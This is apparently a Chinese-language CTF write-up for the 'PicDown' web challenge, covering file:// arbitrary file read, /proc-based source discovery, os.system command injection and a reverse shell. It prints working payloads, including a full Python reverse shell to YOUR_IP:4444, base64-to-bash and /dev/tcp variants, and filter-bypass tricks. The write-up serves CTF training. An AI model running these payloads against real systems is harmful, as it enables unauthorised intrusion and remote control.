最近刷CTF遇到一道名为PicDown的Web题表面是个图片下载器内核却把/proc文件利用、Python反弹shell和Python代码审计三个点全部串在了一起。这道题不复杂但考的都是最实用的小技巧做完之后我觉得很值得整理一篇完整复盘。无论你是刚入门的Web方向新手还是想在赛前系统梳理任意文件读取和命令执行套路的选手这篇内容应该都能帮上忙。我会尽量把每一步的思路和依据写清楚而不是只贴Payload毕竟CTF里最值钱的不是结果而是推导过程。1. 初探PicDown一个看似普通的图片下载页面1.1 页面功能分析先把这个入口看透拿到题目后首页很简单一个输入框提示输入图片URL点击Download后返回一张图片文件。这类功能在真实业务里很常见比如图床工具、爬图机器人、在线转换服务所以出题人也特别喜欢拿它做文章。第一步我习惯先正常用一次提交一个公网图片地址比如一张PNG的直链观察响应。我这里比较关注的三个点是返回内容是不是图片本身响应的Content-Type是否是image/png以及文件名是不是原样保留。这三点能直接暴露后端的实现方式——是代理拉取图片字节流还是把URL拼接进某个下载命令再输出文件两种实现在后续利用上可以说是天壤之别。接着我测试了几个异常输入提交一个不存在的域名、提交一个非图片文件、提交一张超大的图片。从报错信息里能读出很多东西返回的是503还是200、页面上有没有出现后端语言的异常堆栈、文件名是不是我原样传进去的。PicDown这个题目很友好多次异常请求后我能确认请求的URL基本没有经过白名单协议校验这是后续所有利用的起点。1.2 参数探测与协议测试从http试探到file协议确定页面功能点后先做参数枚举。Burp Suite抓包发现请求是/download?url...的形式GET请求参数名是url。接下来就要按顺序测试几种经典情况我的习惯是先做一张协议测试表按优先级打点测试目标构造请求预期反应内网访问urlhttp://127.0.0.1/看能否访问内网地址判断是否存在SSRF本地文件读取urlfile:///etc/passwd测试任意文件读取内网端口探测urldict://127.0.0.1:6379/探测内网端口复杂协议urlgopher://127.0.0.1:80/_TEST探测gopher支持实测中前两种都有明显反应。尤其是file:///etc/passwd居然直接返回了以root:x:0:0:root:/root:/bin/bash开头的内容。到这一步基本可以确定后端直接把url交给某个下载函数并且支持file协议也就是存在任意文件读取。这里的判断逻辑值得展开如果后端是严格白名单只允许http或https那么file://会被直接拒绝如果后端是黑名单可能只拦了../之类的路径穿越符号对协议过滤不严。PicDown属于后者。这种过滤不严在CTF中非常常见也说明一个问题不要只盯着目录穿越协议层的漏洞往往走得更远。1.3 漏洞定性的关键判断区分SSRF与任意文件读取虽然两者经常同时出现但利用思路差异很大。SSRF重点在于访问内网服务、读取云元数据、攻击内网组件任意文件读取则重在读取目标机器上的敏感文件为后续代码审计铺路。PicDown这道题里既然file协议直接能读文件我会先走任意文件读取这条路去找Web应用的源码。这里有个判断小技巧如果http://协议能用但返回的是渲染后的页面或二进制说明可能有内网访问能力如果file://能读本地文件说明任意文件读取成立。两者可以并存但优先做信息收集价值更高的一边。我选择先读文件因为拿到源码等于拿到了所有东西的入口。拿到任意文件读取后第一反应是读/etc/passwd、/etc/nginx/nginx.conf再猜一下Web目录路径猜也能猜但在CTF里效率最高的其实是/proc目录。2. /proc目录下的取证技巧如何从进程信息反推应用源码2.1 为什么信息收集优先盯上/proc/proc是内核暴露进程运行状态的虚拟文件系统里面记录了进程的命令行参数、环境变量、工作目录、打开的文件描述符甚至内存映射。说人话就是你当前运行的每一个Python进程它在干什么、从哪启动、打开了哪些文件全部都在/proc里写得明明白白。对于运行中的Python程序这些信息比任何配置文件都直接。更重要的是很多时候我们不知道源码放在哪里。比如题目容器里Web根目录可能是/app、/var/www/html、/srv全是常见默认值一个个猜太浪费时间。而/proc/self/cmdline直接告诉你当前进程是怎么启动的如果显示python3 app.py源码路径基本就锁定了当前目录下的app.py。我甚至觉得任意文件读取之后的读什么比能不能读更能拉开选手差距。见过太多人在/etc/passwd里逛了半天却不知道下一步该干什么。学会用/proc相当于直接拥有一个系统级的进程体检报告。2.2 cmdline、environ、cwd、fd的组合使用下面逐个说一下我在PicDown里用到的重要文件以及它们的用途文件路径作用我关心的内容/proc/self/cmdline进程启动命令行Python解释器、启动文件/proc/self/environ进程环境变量当前目录、PATH、容器信息/proc/self/cwd/当前工作目录的符号链接锁定源码根目录/proc/self/fd/0/1/2标准输入、输出、错误有时能直接看日志/proc/self/fd/N进程已打开的文件描述符源码文件如果被打开可直接读实际操作顺序通常是先读cmdline拿到启动命令再读cwd拿到工作目录然后结合目录读源码。而/proc/self/fd/是一个少见但非常好用的路径在任意文件读取条件下尝试读一个已知的fd编号经常能看到已打开的源码文件句柄比如/proc/self/fd/3可能就对应app.py的内容。PicDown里我就是通过cmdline得到运行脚本为python3 app.py再通过cwd定位到/app然后直接拼接/app/app.py读取源码。整个过程没有猜路径全部来自进程自身的暴露信息稳且快。2.3 实战中的编码与显示问题用/proc读取时总会遇到一个坑cmdline文件内部参数之间以\x00分隔浏览器里显示可能变成空格、问号或者直接截断。解决办法是先在Burp的Hex视图里看原始字节或者在URL里直接传/proc/self/cmdline看响应里有没有\x00。我举个例子正常浏览器访问file:///proc/self/cmdline返回内容可能显示为python3app.py中间的空格消失了容易被误读成奇怪的字符串。切成Hex视图就能看到python3\x00app.py这样定位文件名就准确了。还有一个小经验如果读取cwd返回的是Permission denied说明当前进程对目录访问受限这时候换成/proc/self/fd/反而可能突破因为已经打开的文件句柄不需要目录权限。这类细节在比赛里很救命遇到这种情况别急着放弃多试几种组合。3. 拿到源码后的Python代码审计危险函数与可控参数的串联3.1 定位可控入口从路由到参数读到了app.py后我先把整个Flask应用结构扫一遍。找路由装饰器app.route(/download)顺着路由找到对应的处理函数观察它从哪里获取参数request.args.get(url)、request.form、request.cookies所有外部可控点都要标记出来。然后看这些参数流向哪里是直接用了还是经过过滤函数。审计的核心就是画数据流输入点 - 处理逻辑 - 输出点/危险函数。代码量不大时直接在编辑器里阅读即可。PicDown的源码结构很典型download路由接收url参数生成一个临时文件名然后执行一条命令把图片下载下来。问题就出在这条命令的拼接方式上。我审计时还有个习惯先看有没有eval、exec、system、popen、subprocess、pickle这类明显的危险函数再看有没有os.path.join、open、render_template_string这类容易出问题的点。一眼扫过去危险函数列表基本就能锁定重点审计区域。3.2 危险调用的两种常见写法与差异Python代码审计里最常见的两个危险点是os.system与subprocess。它们的利用方式不太一样调用方式示例注入特点字符串拼接os.system(wget -O %s %s % (filename, url))直接用;、shellTruesubprocess.call(wget url, shellTrue)同样走系统shell可注入列表传参subprocess.run([wget,-O,filename,url])参数不经过shell难注入shellFalsesubprocess.run(cmd.split())只要不是整串拼接通常安全PicDown用的是第一种也就是os.popen/os.system直接拼接外部输入。这种写法在现代业务代码里已经不多了CTF里反而非常常见因为出题人故意留了一个经典漏洞。遇到这类代码我第一反应是分析拼接位置url参数插在哪前面后面有没有固定字符串。如果注入的是最后的url位置最简单的payload就是urlxxx;whoami分号前面是合法参数分号后面是执行的命令。如果url被包在引号里比如wget {url} -O {filename}就要注意闭合引号payload变成1.jpg ; whoami; 这类闭合形式。3.3 一次典型注入构造的完整过程假设题目源码近似这样filename url.split(/)[-1] os.system(wget -O %s %s % (filename, url))注意这里有两个注入点文件名和url。文件名由url的最后一个/分隔符决定如果构造url/tmp/1.jpg则split(/)[-1]得到1.jpg。要利用的话更优先的是url参数因为可以直接控制完整内容。构造一个测试payloadurlhttp://example.com/a.jpg;id最终拼出的命令是wget -O a.jpg http://example.com/a.jpg;id在shell中分号是命令分隔符所以会先执行wget然后执行id命令执行成功。如果页面上没有命令回显就把命令执行结果重定向到能读到的文件或者直接反弹shell。这里要特别注意文件名里的特殊字符有些题目会把文件名转义或加后缀比如filename .jpg。假设源码是os.system(wget -O %s.jpg %s % (filename, url))那么文件名注入就不行了因为.jpg会被拼在命令最后。这种变体建议直接走url注入。我实测中最稳的方式是先测试urlxxx;id再测试urlxxx||id、urlxxx|id、urlxxx\nid总有一种能绕过过滤或拼接逻辑。4. 反弹Shell的几种姿势与绕过细节4.1 为什么选择反弹Shell而非直接回显拿到命令执行权限后最自然的想法是?urlx;ls /把命令结果输出到页面上。但在常见场景里这种做法有几种风险输出可能被拼接进图片下载逻辑非图片内容导致前端显示异常wget 或目标服务器可能对带;的URL有长度限制执行多条命令时需要反复URL编码效率低。所以我会直接反弹一个Shell回来。反弹Shell的本质是让目标机器主动连接我的监听端口把标准输入输出重定向到socket。这样可以连续执行命令、切换目录、查看文件权限方便后续读flag、横向排查。在CTF里这是标准操作。需要提醒一下反弹Shell这类技术必须在授权范围内使用CTF平台靶机就是合法测试目标但放到公网环境就属于违规了。一定要清楚边界别把训练技术用错地方。4.2 Python反弹Shell的逐行拆解为什么优先用Python因为目标已经确认是Python环境有python3可用。常见payload如下python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((YOUR_IP,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/sh,-i])逐行理解import socket,subprocess,os导入三个模块ssocket.socket(socket.AF_INET,socket.SOCK_STREAM)创建一个TCP套接字s.connect((YOUR_IP,4444))连接监听端os.dup2(s.fileno(),0/1/2)把标准输入、输出、错误都重定向到socketsubprocess.call([/bin/sh,-i])启动交互式shell输入输出走socket。在攻击机上先开监听nc -lvnp 4444然后在注入点提交urlx;python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((YOUR_IP,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/sh,-i])需要注意如果注入点本身在引号内payload里的引号可能会和外围引号冲突所以最好把整段Python代码做base64编码再通过shell解码执行。4.3 编码、转义与备选方案将Python反弹Shell脚本转换为base64的过程很简单。先把脚本写成一串然后编码echo -n import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((YOUR_IP,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/sh,-i]) | base64然后在注入点提交urlx;echo BASE64字符串 | base64 -d | bash这样可以避开所有引号问题。如果目标机器没有python3但有python就把命令换成python -c如果连python都没有就用bash原生的反弹bash -i /dev/tcp/YOUR_IP/4444 01这条命令把bash的输入输出重定向到/dev/tcp同样是反弹。另外如果目标环境是docker容器可能容器里没有bash只有sh那就用/bin/sh -i /dev/tcp/YOUR_IP/4444 01。实操中我习惯把几种payload都提前整理成模板存着拿到命令执行当场直接换。不同的目标环境不一样现场再去查语法既浪费时间又容易出错。这里顺便说一个细节反连的时候注意端口选择尽量选8000以上的高位端口避免被低端口权限限制。监听端IP如果填的是云主机记得把防火墙的安全组规则也放行否则会一直卡在连接超时。5. 完整解题链路复盘与同类题型的一般化套路5.1 一次完整攻击链的步骤串讲把PicDown的整个利用过程串一遍先是发现图片下载功能点的URL参数存在任意文件读取通过file://协议读取/proc/self/cmdline定位源码文件名再结合/proc/self/cwd找到目录直接读出app.py源码。源码审计发现os.system拼接用户可控的url参数于是构造分号注入拿到命令执行。为了提高操作效率和连续性放弃页面回显改为Python反弹Shell到本地监听端口最后在远程Shell中查找flag文件完成题目。整个链路的关键产物是协议探测得到file协议可用/proc定位到源码文件路径审计定位到危险函数与拼接点注入得到命令执行权限。每一步的输出恰好成为下一步的输入这种环环相扣的设计正是CTF综合题的魅力。阶段关键动作关键命令/参数功能探测测试协议支持urlfile:///etc/passwd信息收集读取进程信息定位源码/proc/self/cmdline、/proc/self/cwd代码审计定位危险函数寻找os.system / subprocess调用命令执行拼接payloadurlx;id权限维持反弹shellpython3 -c socket...拿到flag遍历目录读flagfind / -name flag*这个链路里每一步单看都不难难的是把每一步的产物喂给下一步。如果只停在任意文件读取那只能算半成品如果只拿到命令执行但没系统信息后面找flag也会很费劲。综合题考察的正是这种串联能力。5.2 同类题目变种与换皮方式了解PicDown的解法后再看同类题会发现出题人换皮的手法其实有迹可循信息收集换个入口不给你file://改成日志文件读取或者通过报错信息暴露路径。我们依然可以用/proc系列做参考只不过要多读几个常见路径。代码从Python变成PHP危险函数从os.system变成system、shell_exec注入思路一致payload语法稍有不同。命令执行点被封堵如果注入点做了转义或字符过滤就会考察各种绕过——空格用${IFS}、关键字用变量拼接、引号用十六进制。这些其实都是同一类知识的延伸。反弹Shell受限容器里没有python、没有bash就需要尝试写入计划任务、写入SSH公钥等替代路径。我一般会准备一个CTF-Linux排查清单把/proc下常用路径、常见源码目录、容器与宿主机差异都写进去比赛时可以先按清单过一遍比现场猜高效得多。5.3 刷题沉淀我的经验与教训复盘结束说几个这次做题印象比较深的点。第一不要把任意文件读取想得太简单。能读文件只是开始读什么、怎么读才决定上限。能熟练用/proc的选手在信息收集阶段基本可以拿到和源码同等的信息量。第二代码审计别只盯着漏洞库要习惯画数据流。危险函数只是一个点外部可控参数到危险函数的路径才是线。第三反弹Shell的命令值得背到滚瓜烂熟不要到需要时才去查文档。我吃过一次亏payload里的引号嵌套问题卡了整整五分钟用base64一劳永逸。最后再分享一个我自己维护的小技巧每次做完题目把自己构造过的payload、用过的路径、踩过的坑全部登记在一个本地Markdown文件里分类存放。下次遇到类似题目直接CtrlF一搜就有。这个习惯让我的刷题效率提升了不少也推荐有同样需求的人试试。
阅读完成 · 觉得有帮助?